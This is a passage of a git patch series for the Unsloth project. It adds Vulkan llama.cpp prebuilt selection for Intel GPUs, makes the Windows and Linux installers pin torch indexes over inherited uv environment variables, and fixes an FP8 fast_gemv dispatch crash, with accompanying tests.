+        if host.has_intel_gpu and not host.has_physical_nvidia and not host.has_rocm:
+            vulkan_name = f"llama-{llama_tag}-bin-ubuntu-vulkan-x64.tar.gz"
+            if vulkan_name in upstream_assets:
+                log(f"Intel GPU detected -- using upstream Vulkan prebuilt {vulkan_name}")
+                return AssetChoice(
+                    repo = UPSTREAM_REPO,
+                    tag = llama_tag,
+                    name = vulkan_name,
+                    url = upstream_assets[vulkan_name],
+                    source_label = "upstream",
+                    install_kind = "linux-vulkan",
+                )
+            log("Intel GPU detected but no Vulkan prebuilt found -- falling back to CPU")
+
         upstream_name = f"llama-{llama_tag}-bin-ubuntu-x64.tar.gz"
         if upstream_name not in upstream_assets:
             raise PrebuiltFallback("upstream Linux CPU asset was not found")
@@ -3908,6 +4015,24 @@ def resolve_upstream_asset_choice(host: HostInfo, llama_tag: str) -> AssetChoice
                 )
             log("AMD ROCm detected on Windows but no HIP prebuilt found -- falling back to CPU")
 
+        # Intel (or other non-NVIDIA/non-AMD) GPU on Windows: use Vulkan. No
+        # physical NVIDIA so a CUDA-hidden card isn't reached through Vulkan.
+        if host.has_intel_gpu and not host.has_physical_nvidia and not host.has_rocm:
+            vulkan_name = f"llama-{llama_tag}-bin-win-vulkan-x64.zip"
+            if vulkan_name in upstream_assets:
+                log(
+                    f"Intel GPU detected on Windows -- using upstream Vulkan prebuilt {vulkan_name}"
+                )
+                return AssetChoice(
+                    repo = UPSTREAM_REPO,
+                    tag = llama_tag,
+                    name = vulkan_name,
+                    url = upstream_assets[vulkan_name],
+                    source_label = "upstream",
+                    install_kind = "windows-vulkan",
+                )
+            log("Intel GPU detected on Windows but no Vulkan prebuilt found -- falling back to CPU")
+
         upstream_name = f"llama-{llama_tag}-bin-win-cpu-x64.zip"
         if upstream_name not in upstream_assets:
             raise PrebuiltFallback("upstream Windows CPU asset was not found")
@@ -4503,6 +4628,7 @@ def runtime_patterns_for_choice(choice: AssetChoice) -> list[str]:
         "linux-arm64-cuda",
         "linux-rocm",
         "linux-arm64",
+        "linux-vulkan",
     }:
         return ["llama-server", "llama-quantize", "llama-diffusion-gemma-visual-server", "lib*.so*"]
     if choice.install_kind in {"macos-arm64", "macos-x64"}:
@@ -4516,6 +4642,7 @@ def runtime_patterns_for_choice(choice: AssetChoice) -> list[str]:
         "windows-cpu",
         "windows-cuda",
         "windows-hip",
+        "windows-vulkan",
         "windows-rocm",
         "windows-arm64",
     }:
@@ -5731,8 +5858,10 @@ def validate_server(
             "linux-cuda",
             "linux-arm64-cuda",
             "linux-rocm",
+            "linux-vulkan",
             "windows-cuda",
             "windows-hip",
+            "windows-vulkan",
             "windows-rocm",
             "macos-arm64",
         }
@@ -6354,6 +6483,20 @@ def runtime_payload_health_groups(choice: AssetChoice) -> list[list[str]]:
             ["libmtmd.so*"],
             ["libggml-hip.so*"],
         ]
+    if choice.install_kind == "linux-vulkan":
+        return [
+            ["libllama-common.so*"],
+            ["libllama.so*"],
+            ["libggml.so*"],
+            ["libggml-base.so*"],
+            # Match the sibling globs (linux-cuda/-rocm): x64 bundles ship
+            # arch-suffixed libggml-cpu-<variant>.so, arm64 may ship a bare
+            # libggml-cpu.so; the '-' form missed the latter and re-flagged
+            # the install unhealthy on every check.
+            ["libggml-cpu*.so*"],
+            ["libmtmd.so*"],
+            ["libggml-vulkan.so*"],
+        ]
     if choice.install_kind in {"windows-cpu", "windows-arm64"}:
         return [["llama.dll"]]
     if choice.install_kind == "windows-cuda":
@@ -6373,6 +6516,8 @@ def runtime_payload_health_groups(choice: AssetChoice) -> list[list[str]]:
         return groups
     if choice.install_kind in {"windows-hip", "windows-rocm"}:
         return [["llama.dll"], ["*hip*.dll"]]
+    if choice.install_kind == "windows-vulkan":
+        return [["llama.dll"], ["ggml-vulkan.dll"]]
     return []
 
 
@@ -6654,6 +6799,89 @@ def validate_prebuilt_attempts(
     raise PrebuiltFallback("no prebuilt bundle passed validation")
 
 
+def force_vulkan_requested() -> bool:
+    """Whether UNSLOTH_FORCE_VULKAN opts this host into the Vulkan llama.cpp
+    prebuilt instead of its detected CUDA/ROCm backend (e.g. so an AMD user can
+    run the Vulkan build for inference). Scoped to the llama.cpp backend; the
+    torch/training stack installs separately and still sees the real GPU.
+    """
+    return os.environ.get("UNSLOTH_FORCE_VULKAN", "").strip().lower() in (
+        "1",
+        "true",
+        "yes",
+    )
+
+
+def _vulkan_only_host(host: HostInfo) -> HostInfo:
+    """Rewrite ``host`` so the asset selectors take their Vulkan branch.
+
+    That branch fires on ``has_intel_gpu and not nvidia and not rocm``, so clear
+    the CUDA/ROCm flags and raise the integrated-GPU flag. The synthetic flag
+    never leaves install planning -- it only routes the llama.cpp prebuilt
+    choice, not the torch/training stack.
+    """
+    return dataclasses_replace(
+        host,
+        has_usable_nvidia = False,
+        has_physical_nvidia = False,
+        has_rocm = False,
+        has_intel_gpu = True,
+    )
+
+
+def _route_to_vulkan_prebuilt(
+    host: HostInfo, published_repo: str, published_release_tag: str, *, force_cpu: bool
+) -> tuple[HostInfo, str, str]:
+    """Point a Vulkan-capable host at the upstream ggml-org Vulkan prebuilt.
+
+    The unsloth published repo ships only CUDA/ROCm/CPU assets, so Vulkan comes
+    from UPSTREAM_REPO. Two triggers route here, both suppressed under
+    --cpu-fallback (the explicit "give me CPU" last resort wins):
+      * UNSLOTH_FORCE_VULKAN forces Vulkan over the detected CUDA/ROCm backend;
+      * an auto-detected Intel GPU with NO physical NVIDIA/ROCm -- the purpose
+        of the has_intel_gpu probe, since the fork manifest ships no Vulkan asset.
+    Applied by BOTH the install path and the --resolve-prebuilt probe so the
+    "is a prebuilt available" answer matches what actually gets installed.
+
+    Returns the (possibly rewritten) host, repo, and release tag.
+    """
+    forced = force_vulkan_requested()
+    # Gate auto-routing on no PHYSICAL NVIDIA, not merely no usable one: a mixed
+    # NVIDIA+Intel host that hides NVIDIA with CUDA_VISIBLE_DEVICES=""/-1 keeps
+    # has_physical_nvidia=True while has_usable_nvidia goes False. Vulkan ignores
+    # CUDA_VISIBLE_DEVICES, so auto-routing such a host would let it grab the
+    # reserved NVIDIA GPU. An explicit UNSLOTH_FORCE_VULKAN still overrides.
+    auto_intel = host.has_intel_gpu and not host.has_physical_nvidia and not host.has_rocm
+    if force_cpu or not (forced or auto_intel):
+        return host, published_repo, published_release_tag
+    if host.is_macos:
+        if forced:
+            log(
+                "UNSLOTH_FORCE_VULKAN is set but ignored on macOS "
+                "(Metal is used; there is no Vulkan prebuilt)"
+            )
+        return host, published_repo, published_release_tag
+    if forced:
+        log(
+            "UNSLOTH_FORCE_VULKAN is set; installing the upstream Vulkan "
+            "llama.cpp prebuilt instead of the detected GPU backend"
+        )
+        # Forcing may override a detected NVIDIA/ROCm host, so normalize it to
+        # Vulkan-only; an auto-detected Intel host already is.
+        host = _vulkan_only_host(host)
+    else:
+        log("Intel GPU detected; installing the upstream Vulkan llama.cpp prebuilt")
+    # Swapping the fork for upstream invalidates a fork release pin: the two use
+    # different tag namespaces (fork b9596-mix-<sha> vs upstream b9596), so a
+    # pinned fork tag would make the upstream resolver query a nonexistent
+    # release and fall back to source. Drop it and let the upstream resolver
+    # pick by the requested llama tag. A pin already on an explicit upstream repo
+    # (repo unchanged here) is preserved.
+    if published_repo != UPSTREAM_REPO:
+        published_release_tag = ""
+    return host, UPSTREAM_REPO, published_release_tag
+
+
 def diffusion_visual_server_backfill_needed(
     install_dir: Path, host: HostInfo, choice: AssetChoice
 ) -> bool:
@@ -6696,6 +6924,9 @@ def install_prebuilt(
         override_rocm_gfx = override_rocm_gfx,
         force_cpu = force_cpu,
     )
+    host, published_repo, published_release_tag = _route_to_vulkan_prebuilt(
+        host, published_repo, published_release_tag, force_cpu = force_cpu
+    )
     choice: AssetChoice | None = None
     try:
         with install_lock(install_lock_path(install_dir)):
@@ -6708,7 +6939,9 @@ def install_prebuilt(
                     f"no existing llama.cpp install detected at {install_dir}; performing fresh prebuilt install"
                 )
             # Single resolver: every fork host selects from the release manifest;
-            # an explicit ggml-org override selects by asset filename instead.
+            # an explicit ggml-org override selects by asset filename instead. A
+            # forced-Vulkan host already has published_repo pointed at
+            # UPSTREAM_REPO above, so the resolver takes the Vulkan asset branch.
             requested_tag, release_plans = resolve_simple_install_release_plans(
                 llama_tag,
                 host,
@@ -6994,10 +7227,14 @@ def main() -> int:
             override_rocm_gfx = args.rocm_gfx,
             force_cpu = args.cpu_fallback,
         )
-        repo = args.published_repo
+        # Same Vulkan routing the install path applies, so the probe's answer
+        # matches what would install (an Intel/forced-Vulkan host -> upstream).
+        host, repo, release_tag = _route_to_vulkan_prebuilt(
+            host, args.published_repo, args.published_release_tag or "", force_cpu = args.cpu_fallback
+        )
         try:
             _requested, plans = resolve_simple_install_release_plans(
-                args.resolve_prebuilt, host, repo, args.published_release_tag or ""
+                args.resolve_prebuilt, host, repo, release_tag
             )
             choice = plans[0].attempts[0] if plans and plans[0].attempts else None
             if choice is None:

From 216a1fad33561ee4fcf24fd47811fbf721b46f29 Mon Sep 17 00:00:00 2001
From: alkinun <alkinunl@gmail.com>
Date: Thu, 9 Jul 2026 13:46:47 +0300
Subject: [PATCH 286/306] Fix Windows installer torch index override (#6972)

* Fix Windows installer torch index override

* Clear inherited uv index env vars for pinned installs in studio/setup.ps1 (#6898)

* Harden setup.ps1 index-var clearing to truly remove vars (#6898)

* Apply UV_DEFAULT_INDEX torch index fix to Linux/Mac install.sh (#6898)

* Neutralize all uv index env vars for pinned torch installs (#6898)

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 install.ps1                                   | 24 ++++++---
 install.sh                                    | 28 ++++++----
 studio/setup.ps1                              | 13 ++++-
 .../test_tokenizers_and_torch_constraint.py   | 51 +++++++++++++++++++
 tests/sh/test_mac_intel_compat.sh             |  2 +-
 5 files changed, 99 insertions(+), 19 deletions(-)

diff --git a/install.ps1 b/install.ps1
index 696f4e613a..0797cd3868 100644
--- a/install.ps1
+++ b/install.ps1
@@ -469,6 +469,17 @@ function Install-UnslothStudio {
         param(
             [Parameter(Mandatory = $true)][ScriptBlock]$Command
         )
+        # Installer-pinned index installs (torch) must beat an inherited uv mirror
+        # (#6898): when the command pins an index, clear every uv index env var so
+        # it wins, then restore in finally. Other installs keep the user's mirror.
+        $savedUvIndex = $null
+        if ($Command.ToString() -match '--default-index') {
+            $savedUvIndex = @{}
+            foreach ($n in 'UV_DEFAULT_INDEX', 'UV_INDEX_URL', 'UV_INDEX', 'UV_EXTRA_INDEX_URL') {
+                $savedUvIndex[$n] = [Environment]::GetEnvironmentVariable($n)
+                Remove-Item "Env:$n" -ErrorAction SilentlyContinue
+            }
+        }
         $prevEap = $ErrorActionPreference
         $ErrorActionPreference = "Continue"
         try {
@@ -488,6 +499,7 @@ function Install-UnslothStudio {
             return [int]$LASTEXITCODE
         } finally {
             $ErrorActionPreference = $prevEap
+            if ($savedUvIndex) { foreach ($n in $savedUvIndex.Keys) { if ($null -ne $savedUvIndex[$n]) { Set-Item "Env:$n" $savedUvIndex[$n] } } }
         }
     }
 
@@ -2200,7 +2212,7 @@ exit 0
             # ABI-incompatible torchvision/torchaudio on AMD's per-arch index.
             $visionSpec = if ($ROCmGfxArch -and $torchvisionFloorMap.ContainsKey($ROCmGfxArch)) { $torchvisionFloorMap[$ROCmGfxArch] } else { "torchvision" }
             $audioSpec = if ($ROCmGfxArch -and $torchaudioFloorMap.ContainsKey($ROCmGfxArch)) { $torchaudioFloorMap[$ROCmGfxArch] } else { "torchaudio" }
-            $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch (AMD ROCm)" { uv pip install --python $VenvPython --force-reinstall --index-url $ROCmIndexUrl $torchSpec $visionSpec $audioSpec }
+            $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch (AMD ROCm)" { uv pip install --python $VenvPython --force-reinstall --default-index $ROCmIndexUrl $torchSpec $visionSpec $audioSpec }
             if ($torchInstallExit -ne 0) {
                 # Transient AMD-index failure: fall back to a CPU base so the install
                 # still completes; Studio setup retries ROCm afterwards.
@@ -2209,7 +2221,7 @@ exit 0
                 # torch (e.g. 2.10.0+rocm on gfx110X/gfx90a) that still satisfies the CPU
                 # torch>= range, so without it uv would keep the ROCm build and only swap
                 # the companions -- a mismatched venv the flavor-repair block won't fix.
-                $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch (CPU fallback)" { uv pip install --python $VenvPython --force-reinstall "torch>=2.4,<2.11.0" torchvision torchaudio --index-url $TorchIndexUrl }
+                $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch (CPU fallback)" { uv pip install --python $VenvPython --force-reinstall "torch>=2.4,<2.11.0" torchvision torchaudio --default-index $TorchIndexUrl }
                 if ($torchInstallExit -ne 0) {
                     Write-Host "[ERROR] Failed to install PyTorch (ROCm and CPU base both failed, exit code $torchInstallExit)" -ForegroundColor Red
                     return (Exit-InstallFailure "Failed to install PyTorch (exit code $torchInstallExit)" $torchInstallExit)
@@ -2223,7 +2235,7 @@ exit 0
         } else {
             Write-TauriLog "STEP" "Installing PyTorch"
             substep "installing PyTorch ($TorchIndexUrl)..."
-            $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch" { uv pip install --python $VenvPython "torch>=2.4,<2.11.0" torchvision torchaudio --index-url $TorchIndexUrl }
+            $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch" { uv pip install --python $VenvPython "torch>=2.4,<2.11.0" torchvision torchaudio --default-index $TorchIndexUrl }
             if ($torchInstallExit -ne 0) {
                 Write-Host "[ERROR] Failed to install PyTorch (exit code $torchInstallExit)" -ForegroundColor Red
                 return (Exit-InstallFailure "Failed to install PyTorch (exit code $torchInstallExit)" $torchInstallExit)
@@ -2306,7 +2318,7 @@ exit 0
     # keeps a stale torch==X+cpu against a CUDA index and setup.ps1 then loops on
     # "torch cpu != required cuXXX". Reinstall the right triplet when a GPU build is
     # expected: CUDA from $TorchIndexUrl, ROCm from $ROCmIndexUrl (repo.amd.com gfx*
-    # is a PEP 503 index uv resolves via --index-url, same URL the fresh ROCm install
+    # is a PEP 503 index uv resolves via --default-index, same URL the fresh ROCm install
     # above uses). --no-torch / CPU-only hosts (expected cpu) are no-ops.
     if (-not $SkipTorch) {
         $expectedTorchTag = Get-ExpectedTorchFlavorTag -TorchIndexUrl $TorchIndexUrl -ROCmIndexUrl $ROCmIndexUrl
@@ -2322,7 +2334,7 @@ exit 0
                     $visionSpec = if ($ROCmGfxArch -and $torchvisionFloorMap.ContainsKey($ROCmGfxArch)) { $torchvisionFloorMap[$ROCmGfxArch] } else { "torchvision" }
                     $audioSpec = if ($ROCmGfxArch -and $torchaudioFloorMap.ContainsKey($ROCmGfxArch)) { $torchaudioFloorMap[$ROCmGfxArch] } else { "torchaudio" }
                     substep "PyTorch flavor mismatch (installed $installedTorchTag, need ROCm) -- reinstalling correct build..." "Yellow"
-                    $torchFixExit = Invoke-InstallCommand { uv pip install --python $VenvPython --force-reinstall --index-url $ROCmIndexUrl $rocmSpec $visionSpec $audioSpec }
+                    $torchFixExit = Invoke-InstallCommand { uv pip install --python $VenvPython --force-reinstall --default-index $ROCmIndexUrl $rocmSpec $visionSpec $audioSpec }
                     if ($torchFixExit -ne 0) {
                         Write-Host "[ERROR] Failed to reinstall PyTorch with the correct ROCm build (exit code $torchFixExit)" -ForegroundColor Red
                         return (Exit-InstallFailure "Failed to reinstall PyTorch (ROCm) (exit code $torchFixExit)" $torchFixExit)
@@ -2331,7 +2343,7 @@ exit 0
                 } elseif ($expectedTorchTag -ne 'rocm') {
                     # CUDA: stale +cpu (or wrong cuXXX) against a CUDA index -> reinstall triplet.
                     substep "PyTorch flavor mismatch (installed $installedTorchTag, need $expectedTorchTag) -- reinstalling correct build..." "Yellow"
-                    $torchFixExit = Invoke-InstallCommand { uv pip install --python $VenvPython "torch>=2.4,<2.11.0" torchvision torchaudio --index-url $TorchIndexUrl --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio }
+                    $torchFixExit = Invoke-InstallCommand { uv pip install --python $VenvPython "torch>=2.4,<2.11.0" torchvision torchaudio --default-index $TorchIndexUrl --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio }
                     if ($torchFixExit -ne 0) {
                         Write-Host "[ERROR] Failed to reinstall PyTorch with the correct CUDA build (exit code $torchFixExit)" -ForegroundColor Red
                         return (Exit-InstallFailure "Failed to reinstall PyTorch ($expectedTorchTag) (exit code $torchFixExit)" $torchFixExit)
diff --git a/install.sh b/install.sh
index 0acc9ec0be..3f4ea92387 100755
--- a/install.sh
+++ b/install.sh
@@ -159,6 +159,12 @@ run_maybe_quiet() {
 run_install_cmd() {
     _label="$1"
     shift
+    # Installer-pinned index installs (torch) must beat an inherited uv mirror
+    # (#6898): when we pass --default-index, neutralize every uv index env var so
+    # the pinned index wins. Other installs keep the user's mirror.
+    case " $* " in
+        *" --default-index "*) set -- env -u UV_DEFAULT_INDEX -u UV_INDEX_URL -u UV_INDEX -u UV_EXTRA_INDEX_URL "$@" ;;
+    esac
     if _is_verbose; then
         "$@" && return 0
         _rc=$?
@@ -2190,9 +2196,9 @@ _expected_torch_flavor_tag() {
     esac
 }
 
-# Whether index ($1) supports a plain --index-url reinstall. pytorch.org cuXXX /
+# Whether index ($1) supports a plain --default-index reinstall. pytorch.org cuXXX /
 # rocmX.Y AND the repo.amd.com gfx* indexes are all PEP 503 simple indexes that uv
-# resolves (torch + every transitive dep) via --index-url -- the same URLs the
+# resolves (torch + every transitive dep) via --default-index -- the same URLs the
 # fresh-install paths above already use -- so a stale wheel is auto-repairable.
 # Unknown/odd-mirror leaves -> no, so we warn rather than risk a wrong reinstall.
 _torch_index_repairable() {
@@ -2744,7 +2750,7 @@ if [ "$_MIGRATED" = true ]; then
                     substep "repairing ROCm torch (overwritten by dependency resolution)..."
                     run_install_cmd_retry "repair ROCm torch" uv pip install --python "$_VENV_PY" \
                         "$TORCH_CONSTRAINT" torchvision torchaudio \
-                        --index-url "$TORCH_INDEX_URL" \
+                        --default-index "$TORCH_INDEX_URL" \
                         --force-reinstall
                 fi
                 ;;
@@ -2870,7 +2876,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
                     substep "[WARN] Radeon repo lacks a compatible wheel set for this Python; falling back to ROCm index ($TORCH_INDEX_URL)" "$C_WARN"
                     run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" \
                         "$TORCH_CONSTRAINT" torchvision torchaudio \
-                        --index-url "$TORCH_INDEX_URL"
+                        --default-index "$TORCH_INDEX_URL"
                 else
                     substep "installing PyTorch from Radeon repo (${_RADEON_BASE_URL})..."
                     # Pass explicit wheel URLs so the matched trio is
@@ -2893,18 +2899,18 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
                 substep "[WARN] Radeon repo unavailable; falling back to ROCm index ($TORCH_INDEX_URL)" "$C_WARN"
                 run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" \
                     "$TORCH_CONSTRAINT" torchvision torchaudio \
-                    --index-url "$TORCH_INDEX_URL"
+                    --default-index "$TORCH_INDEX_URL"
             fi
         else
             substep "[WARN] Radeon GPU detected but could not detect full ROCm version; falling back to ROCm index" "$C_WARN"
             run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" \
                 "$TORCH_CONSTRAINT" torchvision torchaudio \
-                --index-url "$TORCH_INDEX_URL"
+                --default-index "$TORCH_INDEX_URL"
         fi
     else
         substep "installing PyTorch ($TORCH_INDEX_URL)..."
         run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" "$TORCH_CONSTRAINT" torchvision torchaudio \
-            --index-url "$TORCH_INDEX_URL"
+            --default-index "$TORCH_INDEX_URL"
     fi
     # AMD ROCm: install bitsandbytes (once, after torch, for all ROCm paths).
     # Gate on SKIP_TORCH=false so a user running with --no-torch on a ROCm
@@ -2964,7 +2970,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
                     substep "repairing ROCm torch (overwritten by dependency resolution)..."
                     run_install_cmd_retry "repair ROCm torch" uv pip install --python "$_VENV_PY" \
                         "$TORCH_CONSTRAINT" torchvision torchaudio \
-                        --index-url "$TORCH_INDEX_URL" \
+                        --default-index "$TORCH_INDEX_URL" \
                         --force-reinstall
                 fi
                 ;;
@@ -2999,14 +3005,14 @@ if [ "$SKIP_TORCH" = false ] && [ -n "${TORCH_INDEX_URL:-}" ]; then
         _installed_torch_ver=$("$_VENV_PY" -c "import torch; print(torch.__version__)" 2>/dev/null || true)
         _installed_torch_tag=""
         [ -n "$_installed_torch_ver" ] && _installed_torch_tag=$(_torch_flavor_tag "$_installed_torch_ver")
-        # Repair when flavor is wrong AND the index is plain --index-url reinstallable
+        # Repair when flavor is wrong AND the index is plain --default-index reinstallable
         # (cuXXX / rocmX.Y / repo.amd.com gfx*); an unknown mirror leaf -> warn only.
         if [ -n "$_installed_torch_tag" ] && [ "$_installed_torch_tag" != "$_expected_torch_tag" ] \
            && [ "$(_torch_index_repairable "$TORCH_INDEX_URL")" = "yes" ]; then
             substep "PyTorch flavor mismatch (installed $_installed_torch_tag, need $_expected_torch_tag) -- reinstalling correct build..."
             run_install_cmd "reinstall PyTorch ($_expected_torch_tag)" uv pip install --python "$_VENV_PY" \
                 "$TORCH_CONSTRAINT" torchvision torchaudio \
-                --index-url "$TORCH_INDEX_URL" \
+                --default-index "$TORCH_INDEX_URL" \
                 --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio
             _installed_torch_ver=$("$_VENV_PY" -c "import torch; print(torch.__version__)" 2>/dev/null || true)
             _installed_torch_tag=""
@@ -3017,7 +3023,7 @@ if [ "$SKIP_TORCH" = false ] && [ -n "${TORCH_INDEX_URL:-}" ]; then
             substep "[WARN] PyTorch is CPU-only but a $_expected_torch_tag GPU build was expected for this machine." "$C_WARN"
             substep "[WARN] Training and GPU inference will run on CPU until this is fixed." "$C_WARN"
             substep "[WARN] Re-run this installer, or reinstall the GPU build manually:" "$C_WARN"
-            substep "[WARN]   uv pip install --python \"$_VENV_PY\" \"$TORCH_CONSTRAINT\" torchvision torchaudio --index-url $TORCH_INDEX_URL --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio" "$C_WARN"
+            substep "[WARN]   uv pip install --python \"$_VENV_PY\" \"$TORCH_CONSTRAINT\" torchvision torchaudio --default-index $TORCH_INDEX_URL --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio" "$C_WARN"
         fi
     fi
 fi
diff --git a/studio/setup.ps1 b/studio/setup.ps1
index 07dcb17335..db01a1ecad 100644
--- a/studio/setup.ps1
+++ b/studio/setup.ps1
@@ -2621,7 +2621,18 @@ function Fast-Install {
     param([Parameter(ValueFromRemainingArguments=$true)]$Args_)
     if ($UseUv) {
         $VenvPy = (Get-Command python).Source
-        $result = & uv pip install --python $VenvPy @Args_ 2>&1
+        # An explicit --index-url must win. Inherited uv index env vars otherwise
+        # override it and pull CPU torch over the CUDA/ROCm build (#6898), so drop
+        # them only for index-pinned installs; mirrors still apply elsewhere.
+        $saved = @{}
+        if (@($Args_) -contains '--index-url') {
+            foreach ($n in 'UV_DEFAULT_INDEX', 'UV_INDEX_URL', 'UV_INDEX', 'UV_EXTRA_INDEX_URL') {
+                $saved[$n] = [Environment]::GetEnvironmentVariable($n)
+                Remove-Item "Env:$n" -ErrorAction SilentlyContinue
+            }
+        }
+        try { $result = & uv pip install --python $VenvPy @Args_ 2>&1 }
+        finally { foreach ($n in $saved.Keys) { if ($null -ne $saved[$n]) { Set-Item "Env:$n" $saved[$n] } } }
         if ($LASTEXITCODE -eq 0) { return }
     }
     & python -m pip install @Args_ 2>&1
diff --git a/tests/python/test_tokenizers_and_torch_constraint.py b/tests/python/test_tokenizers_and_torch_constraint.py
index 7390d7be9b..4322f0c7d6 100644
--- a/tests/python/test_tokenizers_and_torch_constraint.py
+++ b/tests/python/test_tokenizers_and_torch_constraint.py
@@ -14,6 +14,7 @@ _TESTS_DIR = pathlib.Path(__file__).resolve().parent.parent  # tests/
 _REPO_ROOT = _TESTS_DIR.parent  # unsloth/
 _INSTALL_SH = _REPO_ROOT / "install.sh"
 _INSTALL_PS1 = _REPO_ROOT / "install.ps1"
+_SETUP_PS1 = _REPO_ROOT / "studio" / "setup.ps1"
 _NO_TORCH_RT = _REPO_ROOT / "studio" / "backend" / "requirements" / "no-torch-runtime.txt"
 
 
@@ -109,6 +110,56 @@ class TestStructuralInstallPs1Unchanged:
         assert '"torch>=2.4,<2.11.0"' in self._ps1
 
 
+class TestInstallPs1UvDefaultIndex:
+    """Installer-managed torch indexes must override inherited uv defaults."""
+
+    _ps1 = _read(_INSTALL_PS1)
+
+    def test_torch_installs_use_default_index(self):
+        assert "--default-index $TorchIndexUrl" in self._ps1
+        assert "--default-index $ROCmIndexUrl" in self._ps1
+
+    def test_torch_installs_do_not_use_deprecated_index_url(self):
+        assert "--index-url $TorchIndexUrl" not in self._ps1
+        assert "--index-url $ROCmIndexUrl" not in self._ps1
+
+    def test_torch_installs_neutralize_all_uv_index_env_vars(self):
+        # Extra-index vars outrank --default-index, so pinned installs must clear them.
+        for var in ("UV_DEFAULT_INDEX", "UV_INDEX_URL", "UV_INDEX", "UV_EXTRA_INDEX_URL"):
+            assert var in self._ps1
+        assert 'Remove-Item "Env:$n"' in self._ps1
+
+
+class TestSetupPs1FastInstallIndex:
+    """setup.ps1 Fast-Install must neutralize inherited uv indexes when pinning."""
+
+    _ps1 = _read(_SETUP_PS1)
+
+    def test_fast_install_clears_all_uv_index_env_vars(self):
+        for var in ("UV_DEFAULT_INDEX", "UV_INDEX_URL", "UV_INDEX", "UV_EXTRA_INDEX_URL"):
+            assert var in self._ps1
+        # Must truly remove the vars (child sees no value), not set them empty.
+        assert 'Remove-Item "Env:$n"' in self._ps1
+
+
+class TestInstallShUvDefaultIndex:
+    """Linux/Mac installer torch indexes must override inherited uv defaults."""
+
+    _sh = _read(_INSTALL_SH)
+
+    def test_torch_installs_use_default_index(self):
+        assert '--default-index "$TORCH_INDEX_URL"' in self._sh
+
+    def test_torch_installs_do_not_use_deprecated_index_url(self):
+        assert '--index-url "$TORCH_INDEX_URL"' not in self._sh
+
+    def test_torch_installs_neutralize_all_uv_index_env_vars(self):
+        # --default-index installs run with all uv index env vars unset via `env -u`.
+        assert (
+            "env -u UV_DEFAULT_INDEX -u UV_INDEX_URL -u UV_INDEX -u UV_EXTRA_INDEX_URL" in self._sh
+        )
+
+
 # Group 2 -- Shell snippet tests (bash subprocess, mocked python)
 class TestTorchConstraintShell:
     """Test the TORCH_CONSTRAINT block via bash with mocked python minor versions."""
diff --git a/tests/sh/test_mac_intel_compat.sh b/tests/sh/test_mac_intel_compat.sh
index 3c3bbfaa5f..8a0ff4b641 100644
--- a/tests/sh/test_mac_intel_compat.sh
+++ b/tests/sh/test_mac_intel_compat.sh
@@ -312,7 +312,7 @@ if [ "$SKIP_TORCH" = true ]; then
 else
     echo "==> Installing PyTorch ($TORCH_INDEX_URL)..."
     uv pip install --python "$_VENV_PY" "torch>=2.4,<2.11.0" torchvision torchaudio \
-        --index-url "$TORCH_INDEX_URL"
+        --default-index "$TORCH_INDEX_URL"
 fi
 TORCH_EOF
 

From cd9d251f157bc8a014a68f4688b961344d5d02f6 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 9 Jul 2026 04:10:59 -0700
Subject: [PATCH 287/306] Fix fast inference crash on compressed-tensors FP8
 models (#7025)

* Fix fast_gemv crash on compressed-tensors FP8 models

Loading a compressed-tensors FP8 checkpoint (for example
unsloth/Llama-3.2-1B-Instruct-FP8-Block) with fast_inference=False and
running a forward crashed with 'Parameter object has no attribute absmax'
inside fast_gemv.

A compressed-tensors CompressedLinear exposes an already dequantized bf16
weight at forward time while keeping a weight_scale Parameter. The quant
state resolution in get_lora_parameters/get_lora_parameters_bias fell back
to that weight_scale, so a bf16 weight was routed into the bitsandbytes
fast_gemv/fast_dequantize path, which expects a bitsandbytes QuantState
with an absmax attribute.

Only fall back to weight_scale_inv/weight_scale when the weight is still
fp8. A decompressed bf16 weight then resolves to no quant state and flows
through the normal bf16 path, which already handles bias and the LoRA
backward. Real fp8 and bitsandbytes 4bit weights are unchanged.

* Skip the fast_gemv dispatch test before importing unsloth when bitsandbytes is absent
---
 tests/test_fast_gemv_dispatch.py | 63 ++++++++++++++++++++++++++++++++
 unsloth/kernels/utils.py         | 27 ++++++++++++--
 2 files changed, 86 insertions(+), 4 deletions(-)
 create mode 100644 tests/test_fast_gemv_dispatch.py

diff --git a/tests/test_fast_gemv_dispatch.py b/tests/test_fast_gemv_dispatch.py
new file mode 100644
index 0000000000..7758db2cd9
--- /dev/null
+++ b/tests/test_fast_gemv_dispatch.py
@@ -0,0 +1,63 @@
+# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+"""`get_lora_parameters` must not treat a `weight_scale` as a quant state for a weight that is
+already dequantized to bf16 (e.g. a compressed-tensors layer at forward time). Otherwise the
+bnb fast_gemv / fast_dequantize path reads a missing `absmax` and crashes.
+"""
+
+from types import SimpleNamespace
+
+import pytest
